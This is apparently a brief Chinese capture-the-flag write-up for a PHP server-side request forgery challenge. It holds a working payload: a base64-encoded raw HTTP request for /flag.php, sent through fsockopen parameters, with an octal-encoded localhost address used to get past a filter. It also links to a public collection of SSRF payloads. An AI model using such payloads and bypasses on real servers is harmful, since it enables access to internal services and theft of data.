如题:

SSRF服务端请求伪造_php


通过get传入三个参数,​​data​​​,​​host​​​,​​port​​.

​fsockopen​​​创建一个文件句柄,将​​data​​​内容写进去(此处执行请求访问操作),​​fgets​​读取文件,返回结果打印出来。

​data​​模拟http请求,写入以下内容,编码为base64

GET /flag.php HTTP/1.1
HOST:127.0.0.1
Connection:Close
Referer:127.0.0.1
//请求头结束,结尾有两个 \r\n

SSRF服务端请求伪造_ide_02

R0VUIC9mbGFnLnBocCBIVFRQLzEuMQ0KSE9TVDoxMjcuMC4wLjEgDQpDb25uZWN0aW9uOkNsb3NlDQpSZWZlcmVyOjEyNy4wLjAuMQ0KDQo=

其余两个参数标准传入就可。
payload:

/index.php?data=R0VUIC9mbGFnLnBocCBIVFRQLzEuMQ0KSE9TVDoxMjcuMC4wLjEgDQpDb25uZWN0aW9uOkNsb3NlDQpSZWZlcmVyOjEyNy4wLjAuMQ0KDQo=&host=0177.0.0.1&port=80

漏洞详情&Bypass:

pyload合集:https://github.com/mishmashclone/swisskyrepo-PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery